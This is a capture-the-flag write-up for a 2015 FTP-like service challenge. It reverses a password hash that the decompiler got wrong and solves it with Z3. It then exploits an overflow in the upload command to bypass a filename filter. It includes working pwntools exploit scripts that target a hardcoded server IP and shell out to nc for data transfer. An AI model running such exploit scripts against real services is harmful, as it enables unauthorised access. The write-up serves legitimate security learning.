Category: Reversing (FTP) & Exploitable (FTP2)
Points: 300 (FTP) & 300 (FTP2)
FTP
64 bit ELF. It’s a FTP-like service, we can list all the acceptable command by sending the HELP
command. Here are some important commands that we’ll need to pass the challenges:
USER [username]
: enter username to login PASS [password]
: enter password after sending the USER
command to login as the [username]
PASV
: open a port for passive mode LIST
: list the files in the directory STOR
: upload a file RETR
: download a file RDF
: read the reversing solution’s flag
So after some static analysis with the help of IDA Pro, I figure out that in order to pass the reversing challenge, we’ll need to login as the user blankwall
. The password checking function’s at 0x401540
, let’s take a look at it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall sub_401540(__int64 a1)
{
int i; // [sp+10h] [bp-8h]@1
int v3; // [sp+14h] [bp-4h]@1
v3 = 5381;
for ( i = 0; *(_BYTE *)(i + a1); ++i )
v3 = 33 * v3 + *(_BYTE *)(i + a1);
return (unsigned int)v3;
}
if (result == -746139127) // result should be 0xd386d209
{
login_bit = 1;
dword_604408 = 'f';
}
At first I was like “Ah, that’s easy!”, since we have the constraint system, we can just set it up and leave the rest to Z3. But after I have the solution and enter the password, the service respond it with a frustrating “Invalid login credentials”. Knowing that Hex-Rays’ decompiler might have the incorrect decompiling result, I re-check the password checking logic by reversing directly from the x64 assembly, not the pseudo code, and finally found the root of the problem:
1
2
3
4
5
6
7
8
9
10
11
12
13
mov eax, [rbp+var_4] ; v3, with 0x1505 as the initial value
shl eax, 5
mov edx, eax ; rdx = (v3 << 5) & 0xFFFFFFFF
mov eax, [rbp+var_4] ; now rax = ((v3 << 5) & 0xFFFFFFFF00000000) | (v3 & 0xFFFFFFFF)
lea ecx, [rdx+rax] ; ecx = (rdx + rax) & 0xFFFFFFFF
mov eax, [rbp+var_8] ; for loop counter == index
movsxd rdx, eax
mov rax, [rbp+var_18]
add rax, rdx
movzx eax, byte ptr [rax]
movsx eax, al ; eax = password[index]
add eax, ecx ;
mov [rbp+var_4], eax ; v3 = ecx + eax
What really matters is the assembly eax, [rbp+var_4]
at line 4. Notice that when the program move v3
to the register eax
, it doesn’t clear the highest 32 bits of the register rax
. So when it runs to the line ecx, [rdx+rax]
, rax
isn’t just simply v3 & 0xFFFFFFFF
, it’s actually:
1
((v3 << 5) & 0xFFFFFFFF00000000) | (v3 & 0xFFFFFFFF)
and that’s where the Hex-Rays decompiler made the mistake.
So now we have the correct constraint system. Wrote a Z3 python script and retrieve the password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
from z3 import *
import sys
def check(size, xs):
ret = BitVecVal(0x1505, 64)
for i in xrange(size):
eax = ret & 0xffffffff
eax <<= 5
rdx = eax & 0xffffffff
rax = (0xffffffff00000000 & eax) | (ret & 0xffffffff)
ecx = (rdx + rax) & 0xffffffff
ecx += xs[i] & 0xff
ret = ecx
return (ret & 0xffffffff)
def solv(size, target):
s = Solver()
xs = []
for i in xrange(size):
x = BitVec("x%d" % i, 64)
s.add( 33 <= x )
s.add( x <= 122 )
xs.append(x)
s.add(check(size, xs) == target)
if s.check() == sat:
m = s.model()
a = ""
for i in xrange(size):
print m[xs[i]]
else:
print "unsat"
for size in xrange(1, 11):
print "trying size:", size
solv(size, 0xd386d209)
Since I don’t know the password length, I just brute force it from 1 ~ 10. We can found a solution at length 6:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
trying size: 0
unsat
trying size: 1
unsat
trying size: 2
unsat
trying size: 3
unsat
trying size: 4
unsat
trying size: 5
unsat
trying size: 6
86
41
66
119
116
88
Now we get the login password, time to capture the flag :)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
#HOST = "localhost"
HOST = "54.175.183.202"
PORT = 12012
ELF_PATH = ""
LIBC_PATH = ""
# setting
context.arch = 'amd64'
#context.arch = 'i386'
#context.arch = 'arm'
#context.arch = 'aarch64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
#elf = ELF(ELF_PATH)
#libc = ELF(LIBC_PATH)
def my_recvuntil(s, delim):
res = ""
while delim not in res:
c = s.recv(1)
res += c
sys.stdout.write(c)
sys.stdout.flush()
return res
def myexec(cmd):
return subprocess.check_output(cmd, shell=True)
if __name__ == "__main__":
password = [86, 41, 66, 119, 116, 88]
password = ''.join(chr(c) for c in password)
r = remote(HOST, PORT)
#r = process(ELF_PATH)
r.recvuntil("server\n")
r.sendline("USER blankwall")
r.recvuntil("blankwall\n")
r.send("PASS "+password)
r.recvuntil("in\n")
r.sendline("RDF") # read the flag
r.interactive()
The flag is: flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}
FTP2
So now we’re logged in as a valid user, we can finally do some other stuff. After sending PASV
and the LIST
command, I found that there’s a flag.txt
in the directory. At first I try to download the file, but the service response “Invalid character specified”. Well that’s strange :/ so I went to the RETR
function and start analyzing.
1
2
3
4
5
6
7
8
9
10
11
12
13
s = filename; //[bp - 0x30]
v7 = strlen(filename); //[bp - 0x28]
while ( *s != dword_604408 )
{
--v7;
if ( !v7 )
break;
++s;
}
if ( s[1] )
{
result = sub_4014F8(*(_DWORD *)a1, "Invalid character specified\n");
}
So…to sum it up, the program will detect whether if the filename has the character store in 0x604408
, and if it does, it will refuse to let us download the file. Remeber the function that does the password checking?
1
2
3
4
5
if (result == -746139127) // result should be 0xd386d209
{
login_bit = 1;
dword_604408 = 'f'; //LOL
}
So apparently we can’t have 'f'
in our filename, we’ll need to find another way to bypass the filter. By checking other functions, I finally found a way to bypass it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sub_4014F8(*(_DWORD *)a1, "transfer starting.\n");
while ( 1 )
{
v6 = recv(*(_DWORD *)(a1 + 4), byte_604200, 0xAuLL, 0);
if ( v6 < 0 )
break;
if ( !v6 )
goto LABEL_8;
v5 += v6;
}
sub_4014F8(*(_DWORD *)a1, "error receiving file");
LABEL_8:
printf("Storing file %s", *(_QWORD *)(a1 + 24));
byte_604200[(signed __int64)(signed int)v5] = 0; // overflow vulnerability
v3 = dword_604404++;
LODWORD(v4) = sub_40139B(v7, v5);
qword_604840[v3] = v4;
sub_4014F8(*(_DWORD *)a1, "transfer complete\n");
result = sub_4023DF(a1, 4207204LL);
Here in the STOR
function, if we upload a file that is big enough, we can overwrite the data at 0x604408
. So it’s quite simple: just create a file that is larger than 512 bytes, then upload it to the server. After that, we can download the flag.txt
and get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
#HOST = "localhost"
HOST = "54.175.183.202"
PORT = 12012
ELF_PATH = ""
LIBC_PATH = ""
# setting
context.arch = 'amd64'
#context.arch = 'i386'
#context.arch = 'arm'
#context.arch = 'aarch64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
#elf = ELF(ELF_PATH)
#libc = ELF(LIBC_PATH)
def my_recvuntil(s, delim):
res = ""
while delim not in res:
c = s.recv(1)
res += c
sys.stdout.write(c)
sys.stdout.flush()
return res
def myexec(cmd):
return subprocess.check_output(cmd, shell=True)
if __name__ == "__main__":
"""
solved by z3
trying size: 6
86
41
66
119
116
88
"""
password = [86, 41, 66, 119, 116, 88]
password = ''.join(chr(c) for c in password)
r = remote(HOST, PORT)
#r = process(ELF_PATH)
r.sendlineafter("server\n", "USER blankwall")
r.sendafter("blankwall\n", "PASS "+password)
r.recvuntil("in\n")
log.success("login success")
log.info("Sending dildo.txt...") # don't mind the filename LOL!
r.sendlinethen("port: ", "PASV")
pasv_port = int(r.recvline())
r.sendline("STOR dildo.txt")
myexec("cat dildo.txt | nc "+HOST+" "+str(pasv_port))
r.recvuntil("complete\n")
log.success("Send success!")
log.info("Downloading flag.txt...")
r.sendlinethen("port: ", "PASV")
pasv_port = int(r.recvline())
r.sendline("RETR flag.txt")
flag = myexec("nc "+HOST+" "+str(pasv_port))
log.success("Get flag: "+flag)
The flag is: flag{exploiting_ftp_servers_in_2015}
Comments powered by Disqus.